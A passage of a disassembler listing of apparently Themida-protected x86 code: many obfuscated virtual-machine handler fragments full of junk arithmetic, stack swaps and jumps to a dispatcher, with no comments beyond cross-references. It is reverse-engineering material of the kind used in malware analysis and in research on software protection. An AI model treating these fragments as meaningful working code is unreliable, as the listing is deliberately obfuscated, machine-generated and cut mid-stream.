		jmp	loc_55F1CB
; ---------------------------------------------------------------------------


loc_55B6D4:				; CODE XREF: sub_559C84-F9j
		add	al, bh
		pop	ebx
		jmp	loc_556357
; ---------------------------------------------------------------------------


loc_55B6DC:				; CODE XREF: sub_559C84-31BBj
		add	ecx, edx
		pop	edx
		add	ecx, 4
		push	ecx
		push	[esp+62h+var_60+2]
		pop	ecx
		jmp	loc_554AD0
; ---------------------------------------------------------------------------


loc_55B6F0:				; CODE XREF: sub_559C84+901j
		mov	ebx, 4
		add	[esp+28h+var_24], ebx
		jmp	loc_5555D0
; ---------------------------------------------------------------------------


loc_55B6FE:				; CODE XREF: sub_559C84+41C5j
		mov	edi, 4A7907BDh
		xor	ecx, edi
		pop	edi
		push	ebx
		mov	ebx, 17EF55F8h
		not	ebx
		not	ebx
		dec	ebx
		add	ebx, 441F27EAh
		shr	ebx, 7
		add	ebx, 0B3971E3Ah
		add	ecx, ebx
		jmp	loc_55921A
; ---------------------------------------------------------------------------


loc_55B727:				; CODE XREF: sub_559C84+841j
		pop	esp
		inc	[esp+3Ch+var_3E+2]
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55B731:				; CODE XREF: sub_559C84+360Dj
		sub	ecx, 7A856F29h
		push	esi
		mov	esi, 57F6D01h
		jmp	loc_55AC90
; ---------------------------------------------------------------------------


loc_55B742:				; CODE XREF: sub_55E26B-9BEFj
		add	esp, 4
		xchg	ebp, [esp+40h+var_42+2]
		pop	esp
		and	[esp+3Ch+var_3E+2], eax
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55B755:				; CODE XREF: sub_559C84+270Fj
		add	ebx, 20460CB5h
		add	ecx, ebx
		pop	ebx
		add	ecx, 2
		xchg	ecx, [esp+3Ch+var_3E+2]
		jmp	loc_55EF93
; ---------------------------------------------------------------------------


loc_55B76C:				; CODE XREF: sub_559C84+116Dj
		add	ebp, eax
		sub	ebp, 272B4C91h
		sub	ebp, 45D25468h
		mov	eax, [esp+3Eh+var_3E]
		add	esp, 4
		push	eax
		mov	eax, 2
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp+3Ah+var_3A]
		mov	esp, [esp+3Ah+var_3A]
		jmp	loc_5552DB
; ---------------------------------------------------------------------------


loc_55B797:				; CODE XREF: Themida_:00559B70j
		mov	[esp+3Ah+var_3A], ebx
		push	3782h
		jmp	loc_555673
; ---------------------------------------------------------------------------


loc_55B7A4:				; CODE XREF: sub_559C84-4FE7j
		mov	bx, 13CFh
		sub	word ptr [esp+56h+var_52], 71E3h
		sub	word ptr [esp+56h+var_52], bx
		add	word ptr [esp+56h+var_52], 71E3h
		pop	bx
		sub	esp, 2
		mov	word ptr [esp+58h+var_58], dx
		mov	dx, 3726h
		add	word ptr [esp+4], 1A92h
		jmp	loc_55F1BF
; ---------------------------------------------------------------------------


loc_55B7D7:				; CODE XREF: sub_559C84+3F4j
		push	edi
		push	[esp-6+arg_4+2]
		jmp	loc_554272
; ---------------------------------------------------------------------------


loc_55B7E1:				; CODE XREF: sub_559C84-245Cj
		push	esi
		push	41F5450Ah
		pop	esi
		inc	esi
		jmp	loc_55C5C4
; ---------------------------------------------------------------------------


loc_55B7EE:				; CODE XREF: sub_559C84+3A74j
		pop	eax
		xor	edi, [esp+62h+var_64+2]
		xor	[esp+62h+var_64+2], edi
		xor	edi, [esp+62h+var_64+2]
		pop	esp
		push	[esp+5Eh+var_60+2]
		pop	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	7505h
		mov	[esp+0], edx
		push	ebx
		mov	ebx, 4
		mov	edx, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp+6Ah+var_6A], eax
		mov	eax, 1F246464h
		sub	ecx, eax
		pop	eax
		add	ecx, edx
		jmp	loc_55431E
; ---------------------------------------------------------------------------


loc_55B82C:				; CODE XREF: sub_559C84+25FFj
		pop	eax
		xor	dh, 0E3h
		mov	al, dh
		pop	edx
		add	al, 67h
		add	cl, al
		jmp	loc_55CD9B
; ---------------------------------------------------------------------------


loc_55B83C:				; CODE XREF: sub_559C84+2B0Bj
		add	ebx, 0B0B10E41h
		add	esi, ebx
		pop	ebx
		push	eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		xor	esi, [esp+5Ah+var_5C+2]
		xor	[esp+5Ah+var_5C+2], esi
		xor	esi, [esp+5Ah+var_5C+2]
		pop	esp
		push	[esp+56h+var_58+2]
		jmp	loc_55A01B
; ---------------------------------------------------------------------------


loc_55B860:				; CODE XREF: sub_5571E4+C37j
		add	di, 2605h
		sub	di, si
		sub	di, 2605h
		jmp	loc_558C7A
; ---------------------------------------------------------------------------


loc_55B872:				; CODE XREF: sub_559C84-3294j
		and	eax, esi
		pop	esi
		xor	eax, 71BF5319h
		or	eax, 1EC23FB8h
		sub	eax, 3FD67FB9h
		add	edi, eax
		pop	eax
		add	edi, 2
		jmp	loc_558E68
; ---------------------------------------------------------------------------


loc_55B892:				; CODE XREF: sub_559C84-4AE4j
		add	ecx, 2D4C5FFBh
		shl	ecx, 2
		sub	ecx, 8D570E40h
		mov	ebx, ecx
		pop	ecx
		add	[esp+3Eh+var_3A], ebx
		mov	ebx, [esp+3Eh+var_3E]
		add	esp, 4
		pop	eax
		sub	eax, 27E035CCh
		push	4AFh
		mov	[esp+3Ah+var_3A], ebx
		sub	esp, 4
		mov	[esp+3Eh+var_3E], eax
		push	54530B5Ch
		jmp	loc_55E41A
; ---------------------------------------------------------------------------


loc_55B8CC:				; CODE XREF: sub_55DD10+1Cj
		mov	[esp+42h+var_42], eax
		mov	eax, esp
		push	ebp
		mov	ebp, 4
		push	edx
		mov	edx, 15322C4Ah
		push	ecx
		mov	ecx, 1F5341C7h
		or	ecx, 5FCD7DC3h
		jmp	loc_556277
; ---------------------------------------------------------------------------


loc_55B8EE:				; CODE XREF: sub_559C84-490Bj
		mov	ebp, 736045BDh
		push	esi
		mov	esi, 0FFFFFFFFh
		jmp	loc_55DB28
; ---------------------------------------------------------------------------


loc_55B8FE:				; CODE XREF: sub_559C84-41D8j
		xchg	edx, [esp+4Ah+var_4A]
		pop	esp
		jmp	loc_5560B0
; ---------------------------------------------------------------------------


loc_55B907:				; CODE XREF: sub_559C84-E21j
		add	edi, 30D950A1h
		jmp	loc_55D27D
; ---------------------------------------------------------------------------


loc_55B912:				; CODE XREF: sub_559C84+59C6j
		push	edx
		jmp	loc_555FB1
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	byte ptr [esp+34h+var_34], cl
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55B927:				; CODE XREF: sub_555CF6+9B38j
		mov	edx, 5FC74E45h
		xor	ebp, edx
		jmp	loc_55606B
; ---------------------------------------------------------------------------


loc_55B933:				; CODE XREF: sub_559C84+F7Fj
		mov	esi, [esp+52h+var_52]
		jmp	loc_554ECA
; ---------------------------------------------------------------------------


loc_55B93B:				; CODE XREF: sub_559C84+4F5Cj
		pop	esp
		xchg	esi, [esp+4Eh+var_4E]
		mov	esp, [esp+4Eh+var_4E]
		push	esi
		jmp	loc_556119
; ---------------------------------------------------------------------------


loc_55B948:				; CODE XREF: sub_559C84-5B92j
		mov	edi, 0C1A6D1Bh
		jmp	loc_559897
; ---------------------------------------------------------------------------


loc_55B952:				; DATA XREF: Themida_:00553464o
		lodsd
		xor	eax, ebx
		sub	esp, 4
		mov	[esp+0Ch+var_C], ecx
		push	esi
		mov	esi, 26E63508h
		add	esi, 55251E6h
		sub	esi, 3725429h
		inc	esi
		or	esi, 2D325CF1h
		xor	esi, 4B061A2Dh
		mov	ecx, esi
		pop	esi
		add	eax, 3AEC5384h
		jmp	loc_558D5F
; ---------------------------------------------------------------------------


loc_55B987:				; CODE XREF: sub_559C84+572Aj
		not	edi
		xchg	edi, ecx
		jmp	loc_554CCF
; ---------------------------------------------------------------------------


loc_55B990:				; CODE XREF: sub_559C84-2962j
		pop	edi
		add	eax, ebp
		push	[esp+34h+var_34]
		mov	ebp, [esp+38h+var_3A+2]
		add	esp, 4
		jmp	loc_55C993
; ---------------------------------------------------------------------------


loc_55B9A1:				; CODE XREF: sub_559C84-44A5j
		mov	edi, 2EBD1427h
		dec	edi
		xor	edi, 45AD0B99h
		add	edi, 0E6D74F51h
		sub	ebx, edi
		pop	edi
		push	eax
		mov	eax, 3C6768B7h
		inc	eax
		xor	eax, 607D7505h
		jmp	loc_556C69
; ---------------------------------------------------------------------------


loc_55B9C7:				; CODE XREF: sub_559C84-517Dj
		push	[esp+42h+var_42]
		pop	ebp
		add	esp, 4
		mov	esi, [esp+3Eh+var_3E]
		add	esp, 4
		push	1482h
		mov	[esp+3Eh+var_3E], edx
		push	ecx
		mov	ecx, 334B5138h
		sub	esp, 4
		mov	[esp+46h+var_46], edx
		mov	edx, 0C412C5Ch
		xor	edx, 1FF675CEh
		xor	ecx, edx
		pop	edx
		dec	ecx
		jmp	loc_55A2FA
; ---------------------------------------------------------------------------


loc_55B9FC:				; CODE XREF: sub_559C84+18C4j
		dec	bl
		xor	bl, 7Ch
		push	eax
		mov	al, 0A0h
		push	ecx
		jmp	loc_556E34
; ---------------------------------------------------------------------------


loc_55BA0A:				; CODE XREF: sub_559C84+FA6j
		add	esp, 4
		add	esp, 4
		shr	eax, 0Ah
		xor	eax, ecx
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		jmp	loc_55F804
; ---------------------------------------------------------------------------


loc_55BA20:				; CODE XREF: sub_559C84+4FB4j
		pop	esi
		add	edx, ebx
		pop	ebx
		sub	edx, 4
		xchg	edx, [esp-14h+arg_10]
		mov	esp, [esp-14h+arg_10]
		mov	[esp-14h+arg_10], eax
		jmp	loc_55F06D
; ---------------------------------------------------------------------------


loc_55BA35:				; CODE XREF: sub_559C84+5219j
		xor	cl, bl
		mov	bx, word ptr [esp-14h+arg_10]
		add	esp, 2
		xor	al, cl
		mov	ecx, [esp-18h+arg_14]
		add	esp, 4
		xor	bl, al
		movzx	eax, al
		push	small 6AA2h
		mov	word ptr [esp-1Ah+arg_14+2], ax
		jmp	loc_55351F
; ---------------------------------------------------------------------------
		lodsb
		sub	esp, 4
		mov	[esp-16h+arg_10+2], ebx
		mov	bl, 14h
		push	ecx
		mov	cl, 0A2h
		neg	cl
		jmp	loc_55B1B3
; ---------------------------------------------------------------------------


loc_55BA6B:				; CODE XREF: sub_559C84+5CB7j
		add	esi, eax
		jmp	loc_55AC2F
; ---------------------------------------------------------------------------


loc_55BA72:				; CODE XREF: sub_559C84+42DDj
		add	eax, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp-12h+arg_C+2], eax
		push	[esp-12h+arg_10+2]
		pop	eax
		pop	[esp-12h+arg_C+2]
		jmp	loc_55EF89
; ---------------------------------------------------------------------------


loc_55BA8B:				; CODE XREF: sub_559C84-5B87j
		xchg	ecx, [esp+4+var_4]
		pop	esp
		add	ebx, 0D0B5AE6h
		add	ebx, 3BC168C7h
		sub	ebx, eax
		sub	ebx, 3BC168C7h
		sub	esp, 4
		mov	[esp+4+var_4], ebp
		jmp	loc_55C756
; ---------------------------------------------------------------------------


loc_55BAAE:				; CODE XREF: sub_55DBFB+Aj
		add	edx, 4
		push	3AF8h
		jmp	loc_55B076
; ---------------------------------------------------------------------------


loc_55BABE:				; CODE XREF: sub_5586DD+5j
		sub	al, bl
		jmp	loc_553B61
; ---------------------------------------------------------------------------


loc_55BAC5:				; CODE XREF: sub_559C84-26B0j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_559A39
		sub	esp, 4
		mov	[esp+44h+var_46+2], esi
		push	ebx
		mov	ebx, 54757657h
		mov	esi, 0F22DAF24h
		add	esi, ebx
		pop	ebx
		push	ebx
		push	ebp
		jmp	loc_555AF4
; ---------------------------------------------------------------------------


loc_55BAEA:				; DATA XREF: Themida_:0055348Co
		mov	cx, word ptr [esp+4Ch+var_4E+2]
		jmp	sub_5547B0
; ---------------------------------------------------------------------------


loc_55BAF3:				; CODE XREF: sub_559C84+13B0j
		pop	edx
		jmp	loc_556C2A
; ---------------------------------------------------------------------------


loc_55BAF9:				; CODE XREF: sub_559C84-1066j
		add	eax, 5A8CCD7Ch
		mov	edi, eax
		jmp	loc_55E7B8
; ---------------------------------------------------------------------------


loc_55BB05:				; CODE XREF: sub_553EB3+13j
		add	ebx, 0FFFFFFFFh
		add	ebx, 1F295ADFh
		xor	ebx, 84EC844Dh
		mov	ecx, ebx
		jmp	loc_559785
; ---------------------------------------------------------------------------


loc_55BB1B:				; CODE XREF: sub_559C84+CF8j
		dec	ecx
		shl	ecx, 8
		shr	ecx, 4
		add	ecx, 6DB7ED61h
		mov	edi, ecx
		jmp	loc_5557F1
; ---------------------------------------------------------------------------


loc_55BB2F:				; CODE XREF: sub_559C84+11A9j
		or	edx, ebp
		pop	ebp
		and	edx, 5F467C7Fh
		sub	esp, 4
		mov	[esp+46h+var_46], edi
		mov	edi, 4AA31B83h
		or	edx, edi
		pop	edi
		sub	edx, 5EE37BCFh
		or	[edi+1Ch], edx
		pop	edx
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55BB55:				; CODE XREF: sub_559C84-5FDDj
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_55FC38
; ---------------------------------------------------------------------------


loc_55BB68:				; CODE XREF: Themida_:00556B2Ej
		sub	ax, bx
		mov	bx, word ptr [esp+20h+var_20]
		add	esp, 2
		sub	esp, 2
		mov	word ptr [esp+20h+var_20], di
		jmp	sub_5571E4
; ---------------------------------------------------------------------------


loc_55BB81:				; CODE XREF: sub_559C84+2520j
		pop	ebp
		pop	[esp+1Ch+var_1C]
		pop	esp
		imul	ecx, eax
		push	ecx
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55BB90:				; CODE XREF: sub_559C84+4236j
		push	eax
		push	ebp
		mov	ebp, 315F1307h
		sub	[esp+24h+var_20], 264071FDh
		jmp	sub_557B4C
; ---------------------------------------------------------------------------


loc_55BBA4:				; CODE XREF: sub_559C84+1661j
		mov	[esp+5Ch+var_5C], ebx
		jmp	loc_55527A
; ---------------------------------------------------------------------------


loc_55BBAC:				; DATA XREF: Themida_:00553484o
		mov	esp, [esp+5Ch+var_5C]
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55BBB4:				; CODE XREF: sub_55EB5B-AF16j
		push	ecx
		jmp	loc_55D1E8
; ---------------------------------------------------------------------------


loc_55BBBA:				; CODE XREF: sub_558684+19j
		push	ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 75B20A2Bh
		inc	ebp
		sub	ebp, 5F76744Eh
		or	ebp, 13E038DBh
		jmp	loc_55F314
; ---------------------------------------------------------------------------


loc_55BBD5:				; CODE XREF: sub_559C84-1511j
		pop	esp
		add	esp, 4
		push	ecx
		push	esp
		pop	ecx
		push	edi
		mov	edi, 2FCF11FBh
		inc	edi
		dec	edi
		or	edi, 62F9548Dh
		shl	edi, 7
		jmp	loc_556ACE
; ---------------------------------------------------------------------------


loc_55BBF5:				; CODE XREF: sub_559C84+561Fj
		pop	ecx
		mov	ebp, [esp+4Ah+var_4A]
		add	esp, 4
		pop	edx
		sub	edx, 315F1307h
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55BC08:				; CODE XREF: sub_559C84-498Cj
		pop	ax
		push	ecx
		mov	cl, 3
		jmp	loc_556E59
; ---------------------------------------------------------------------------


loc_55BC12:				; DATA XREF: Themida_:00553268o
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	word ptr [esp+48h+var_4A+2], ax
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55BC22:				; CODE XREF: sub_559C84+25D0j
		add	[esp+4Ch+var_4A+2], ebx
		mov	ebx, [esp+4Ch+var_4E+2]
		jmp	loc_55C687
; ---------------------------------------------------------------------------


loc_55BC2E:				; CODE XREF: sub_559C84+5B8Dj
		add	esp, 4
		push	0A03h
		mov	[esp+4Ch+var_4E+2], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+4Ch+var_4E+2]
		pop	esp
		jmp	loc_55C52B
; ---------------------------------------------------------------------------


loc_55BC53:				; CODE XREF: sub_559C84+3E9Fj
		pop	edi
		push	esi
		not	[esp+48h+var_4A+2]
		mov	esi, [esp+48h+var_4A+2]
		jmp	loc_558CB4
; ---------------------------------------------------------------------------


loc_55BC60:				; CODE XREF: sub_559C84-12C8j
		mov	edx, [esp+4Ah+var_4A]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+4Eh+var_4E]
		jmp	loc_553E14
; ---------------------------------------------------------------------------


loc_55BC7A:				; CODE XREF: sub_559C84-1F56j
		push	ecx
		mov	ecx, 46E211F7h
		sub	eax, 6E2A058Ch
		push	esi
		push	ebx
		push	edi
		mov	edi, 3B423A06h
		xor	edi, 7B240D90h
		and	edi, 250C67B8h
		sub	edi, 0BBC4695h
		inc	edi
		dec	edi
		add	edi, 891160F4h
		mov	ebx, edi
		pop	edi
		not	ebx
		xor	ebx, 0EF7FAF98h
		mov	esi, ebx
		pop	ebx
		and	esi, 6F274CF0h
		xor	esi, 74C7213Dh
		add	eax, esi
		jmp	loc_55DCD3
; ---------------------------------------------------------------------------


loc_55BCC8:				; CODE XREF: Themida_:00557528j
		mov	ecx, 47942D5h
		add	edx, ecx
		mov	ecx, [esp+48h+var_4A+2]
		add	esp, 4
		add	edx, 2E8A7CFDh
		sub	edx, 3DA46439h
		jmp	loc_5567A1
; ---------------------------------------------------------------------------


loc_55BCE9:				; CODE XREF: sub_559C84-40F1j
		add	esp, 4
		push	ebp
		push	75DA04F6h
		pop	ebp
		jmp	loc_55B4EA
; ---------------------------------------------------------------------------


loc_55BCFB:				; CODE XREF: sub_559C84-7B3j
		mov	edi, esp
		push	eax
		jmp	loc_5550C1
; ---------------------------------------------------------------------------


loc_55BD03:				; CODE XREF: sub_559C84+4020j
		mov	edi, 4
		add	ebp, 65732130h
		jmp	loc_555137
; ---------------------------------------------------------------------------


loc_55BD13:				; CODE XREF: sub_559C84-3A81j
		mov	[esp-14h+arg_10], esp
		jmp	loc_554FCE
; ---------------------------------------------------------------------------


loc_55BD1B:				; CODE XREF: sub_559C84+152Aj
		xor	ebp, eax
		pop	eax
		jmp	loc_5557DA
; ---------------------------------------------------------------------------


loc_55BD23:				; CODE XREF: sub_559C84-3119j
		mov	edi, 1F346DA8h
		push	ebx
		jmp	loc_55654E
; ---------------------------------------------------------------------------


loc_55BD2E:				; DATA XREF: Themida_:00553290o
		neg	word ptr [esp-0Eh+arg_8+2]
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55BD38:				; CODE XREF: sub_559C84-4ACDj
		pop	edx
		push	edi
		push	eax
		jmp	loc_558C0D
; ---------------------------------------------------------------------------


loc_55BD40:				; CODE XREF: sub_559C84-2F3Aj
		push	esi
		push	eax
		mov	eax, 48741D88h
		jmp	loc_55A7E7
; ---------------------------------------------------------------------------


loc_55BD4C:				; CODE XREF: sub_559C84-3606j
		sub	[esp+66h+var_60+2], 418750Eh
		pop	ebx
		jmp	loc_55D99D
; ---------------------------------------------------------------------------


loc_55BD5A:				; DATA XREF: Themida_:00553438o
		mov	ax, word ptr [esp+62h+var_64+2]
		push	eax
		push	esp
		jmp	loc_55FB73
; ---------------------------------------------------------------------------


loc_55BD65:				; CODE XREF: sub_559C84+3B89j
		add	esp, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_55D370
; ---------------------------------------------------------------------------


loc_55BD76:				; CODE XREF: sub_5591C7-1B93j
		pop	edi
		jmp	loc_55A660
; ---------------------------------------------------------------------------


loc_55BD7C:				; CODE XREF: sub_559C84-F2Aj
		push	5653h
		mov	[esp+32h+var_34+2], ecx
		mov	ecx, 22B32E63h
		jmp	loc_55F8C0
; ---------------------------------------------------------------------------


loc_55BD8E:				; CODE XREF: sub_559C84+4E35j
		xor	[esp+32h+var_34+2], edx
		jmp	loc_55771E
; ---------------------------------------------------------------------------


loc_55BD96:				; CODE XREF: sub_559C84-2980j
		add	esp, 4
		jmp	loc_555640
; ---------------------------------------------------------------------------


loc_55BD9E:				; CODE XREF: sub_559C84-38C8j
		add	esp, 4
		push	eax
		mov	eax, 9843463h
		xor	eax, 183171C5h
		add	eax, 2E150609h
		shl	eax, 7
		neg	eax
		push	ebp
		mov	ebp, 1ADA2882h
		xor	eax, ebp
		pop	ebp
		add	edi, eax
		jmp	loc_55ACB8
; ---------------------------------------------------------------------------


loc_55BDC6:				; CODE XREF: sub_559C84-3E1Aj
		mov	eax, [esp+4Eh+var_4E]
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp+4Ah+var_4A]
		pop	esp
		push	2DECh
		jmp	loc_55B0F7
; ---------------------------------------------------------------------------


loc_55BDDD:				; CODE XREF: sub_559C84-120Ej
		sub	edx, ebx
		pop	ebx
		xor	edx, 13697E65h
		xor	edx, 6E76FE6Eh
		jmp	loc_558981
; ---------------------------------------------------------------------------


loc_55BDF1:				; CODE XREF: sub_559C84+19DDj
		xor	ecx, edx
		pop	edx
		jmp	loc_5585D3
; ---------------------------------------------------------------------------


loc_55BDF9:				; CODE XREF: sub_559C84+490Ej
		add	edx, ebp
		jmp	loc_556ABA
; ---------------------------------------------------------------------------


loc_55BE00:				; CODE XREF: sub_559C84+7F5j
		add	edx, 4
		xchg	edx, [esp+0]
		pop	esp
		jmp	loc_559238
; ---------------------------------------------------------------------------


loc_55BE0C:				; CODE XREF: sub_559C84+16F1j
		add	esp, 4
		push	ecx
		mov	ecx, 2
		add	ebp, ecx
		jmp	loc_55DE5E
; ---------------------------------------------------------------------------


loc_55BE1F:				; CODE XREF: sub_559C84+29FEj
		push	ebx
		pop	edx
		push	2938h
		mov	[esp+38h+var_3A+2], edx
		add	[esp+38h+var_3A+2], 2716582Eh
		jmp	loc_55E20E
; ---------------------------------------------------------------------------


loc_55BE35:				; CODE XREF: Themida_:0055E3D0j
		mov	ebp, ecx
		mov	edi, ebp
		pop	ebp
		pop	ecx
		add	esi, edi
		jmp	loc_5543FB
; ---------------------------------------------------------------------------


loc_55BE42:				; CODE XREF: sub_55F608-819Fj
		mov	edx, 3D9FAEh
		sub	ecx, edx
		push	[esp+30h+var_30]
		pop	edx
		jmp	loc_55558E
; ---------------------------------------------------------------------------


loc_55BE52:				; CODE XREF: sub_559C84-1BF8j
		add	esp, 4
		xchg	ebp, [esp+4Ch+var_4E+2]
		pop	esp
		mov	[esp+48h+var_4A+2], ecx
		mov	ecx, 638F4766h
		add	ecx, 0FFFFFFFFh
		shr	ecx, 4
		push	edi
		push	ecx
		mov	ecx, 30E02BF6h
		jmp	loc_55759B
; ---------------------------------------------------------------------------


loc_55BE73:				; CODE XREF: sub_559C84+1193j
		add	edx, ebp
		sub	edx, 72807FFEh
		mov	ebp, [esp+2Ch+var_2C]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+30h+var_30]
		pop	esp
		push	ebp
		push	esi
		jmp	loc_558D42
; ---------------------------------------------------------------------------


loc_55BE98:				; CODE XREF: sub_559C84-31F8j
		pop	ecx
		jmp	loc_55D7CF
; ---------------------------------------------------------------------------


loc_55BE9E:				; CODE XREF: sub_559C84-57FAj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp-0Ch+arg_8]
		pop	esp
		push	esi
		jmp	loc_55D04C
; ---------------------------------------------------------------------------


loc_55BEB4:				; CODE XREF: sub_559C84+4D1Fj
		mov	eax, 4
		add	ebx, eax
		pop	eax
		xchg	ebx, [esp-10h+arg_C]
		pop	esp
		jmp	loc_55A3D7
; ---------------------------------------------------------------------------


loc_55BEC5:				; CODE XREF: Themida_:00553F51j
		sub	edi, 48AD57DBh
		push	ebp
		mov	ebp, 7A1F1DB0h
		add	edi, ebp
		pop	ebp
		or	edi, 5F6B1DA3h
		neg	edi
		push	ebp
		mov	ebp, 65F911B1h
		shr	ebp, 5
		inc	ebp
		add	ebp, 734D7BE6h
		sub	ebp, 0D5F90267h
		jmp	loc_553715
; ---------------------------------------------------------------------------


loc_55BEF7:				; CODE XREF: sub_559C84-1533j
		mov	ecx, 4
		jmp	loc_55DF18
; ---------------------------------------------------------------------------


loc_55BF01:				; CODE XREF: sub_559C84-3644j
		add	eax, esi
		pop	esi
		add	eax, ebx
		sub	eax, 6EB04D56h
		jmp	loc_553705
; ---------------------------------------------------------------------------


loc_55BF10:				; CODE XREF: sub_559C84+824j
		xor	ecx, edi
		pop	edi
		shr	ecx, 2
		jmp	loc_55B1CC
; ---------------------------------------------------------------------------


loc_55BF1B:				; CODE XREF: sub_559C84+4AC8j
		xchg	esi, [esp+38h+var_3A+2]
		pop	esp
		sar	[esp+34h+var_34], cl
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55BF28:				; CODE XREF: Themida_:0055DEEDj
		pop	ebx
		push	ecx
		push	ebx
		push	575F6D53h
		mov	ebx, [esp+40h+var_42+2]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_55B064
; ---------------------------------------------------------------------------


loc_55BF40:				; CODE XREF: sub_559C84-43E1j
		add	edx, 2AF5446h
		and	ebx, edx
		pop	edx
		push	ebx
		not	[esp+4+var_4]
		pop	ebx
		not	ebx
		add	ebx, 72AC60D1h
		add	ebx, 89522A11h
		jmp	loc_55B226
; ---------------------------------------------------------------------------


loc_55BF61:				; CODE XREF: sub_55F389-1F6j
		add	esp, 4
		add	eax, 4
		push	ecx
		mov	ecx, 4
		add	eax, 0B3A65AAh
		add	eax, ecx
		sub	eax, 0B3A65AAh
		pop	ecx
		jmp	loc_556D93
; ---------------------------------------------------------------------------


loc_55BF81:				; CODE XREF: sub_559C84+569Dj
		add	esi, 4
		jmp	loc_5552FD
; ---------------------------------------------------------------------------


loc_55BF8C:				; CODE XREF: sub_559C84+33C3j
		mov	ecx, [esp-4+arg_0]
		push	ebp
		jmp	loc_559661
; ---------------------------------------------------------------------------


loc_55BF95:				; CODE XREF: sub_557976+178Cj
		mov	al, ch
		pop	ecx
		dec	dh
		xor	al, dh
		xor	dh, al
		xor	al, dh
		push	edx
		mov	dl, 6
		dec	dl
		neg	dl
		xor	dl, 3
		sub	al, dl
		jmp	loc_55E65B
; ---------------------------------------------------------------------------


loc_55BFB1:				; CODE XREF: sub_559C84+E51j
		push	eax
		mov	eax, esp
		jmp	loc_554BED
; ---------------------------------------------------------------------------


loc_55BFB9:				; CODE XREF: sub_55E1F9+DE8j
		add	ecx, 1F501FF0h
		pop	ebp
		dec	ecx
		xor	ecx, 19142CBEh
		shl	ecx, 5
		shl	ecx, 5
		shr	ecx, 6
		jmp	sub_556FC2
; ---------------------------------------------------------------------------


loc_55BFD5:				; CODE XREF: sub_559C84+87Fj
		mov	eax, [esp+44h+var_46+2]
		jmp	loc_55C2D1
; ---------------------------------------------------------------------------


loc_55BFDD:				; CODE XREF: sub_559C84-511Cj
		push	[esp+46h+var_42]
		push	[esp+4Ah+var_4A]
		mov	ebx, [esp+4Eh+var_4E]
		add	esp, 4
		add	esp, 4
		pop	[esp+46h+var_46]
		mov	esp, [esp+42h+var_42]
		jmp	loc_55FAA1
; ---------------------------------------------------------------------------


loc_55BFF8:				; CODE XREF: sub_559C84-4BB2j
		shl	eax, 2
		push	ecx
		mov	ecx, 34AF43EAh
		add	ecx, 0FFFFFFFFh
		jmp	loc_55DB4C
; ---------------------------------------------------------------------------


loc_55C00C:				; CODE XREF: Themida_:0055EE82j
		pop	eax
		add	esi, ebx
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		xor	esi, [esp+8+var_8]
		xor	[esp+8+var_8], esi
		xor	esi, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		bts	word ptr [esp+8+var_8],	ax
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55C02F:				; CODE XREF: sub_5598F1+27j
		dec	edi
		shr	edi, 7
		jmp	loc_55F660
; ---------------------------------------------------------------------------


loc_55C038:				; CODE XREF: sub_559C84-138Fj
		xor	eax, 521061E8h
		push	ecx
		mov	ecx, 46802789h
		xor	eax, ecx
		pop	ecx
		mov	esi, eax
		pop	eax
		jmp	loc_55E239
; ---------------------------------------------------------------------------


loc_55C04E:				; CODE XREF: Themida_:00553BE1j
		mov	eax, 60BD0A7Bh
		dec	eax
		neg	eax
		add	eax, 5B74618Ah
		shl	eax, 4
		jmp	loc_555EC1
; ---------------------------------------------------------------------------


loc_55C063:				; CODE XREF: Themida_:00557BDEj
		push	ecx
		push	edx
		mov	dl, 6Ch
		mov	ch, 98h
		sub	ch, dl
		jmp	loc_55908E
; ---------------------------------------------------------------------------


loc_55C070:				; CODE XREF: sub_559C84-5FD7j
		push	ecx
		mov	ecx, 446F0D24h
		shr	ecx, 7
		shr	ecx, 3
		xor	ecx, 35BF4C21h
		add	eax, 35FA528Ch
		add	eax, ecx
		sub	eax, 35FA528Ch
		pop	ecx
		sub	eax, edi
		sub	eax, 35AE57E2h
		push	[esp+1Ch+var_1C]
		pop	edi
		sub	esp, 4
		mov	[esp+20h+var_20], edx
		push	esp
		pop	edx
		jmp	loc_55ABD5
; ---------------------------------------------------------------------------


loc_55C0AA:				; CODE XREF: sub_555531+9254j
		pop	ebx
		shr	ecx, 7
		push	ebp
		push	eax
		mov	eax, 76675625h
		dec	eax
		sub	eax, 8ED678Eh
		add	eax, 0F7D86A41h
		jmp	loc_558D67
; ---------------------------------------------------------------------------


loc_55C0C5:				; CODE XREF: sub_559C84-38EAj
		add	ecx, 183D744Eh
		jmp	loc_554681
; ---------------------------------------------------------------------------


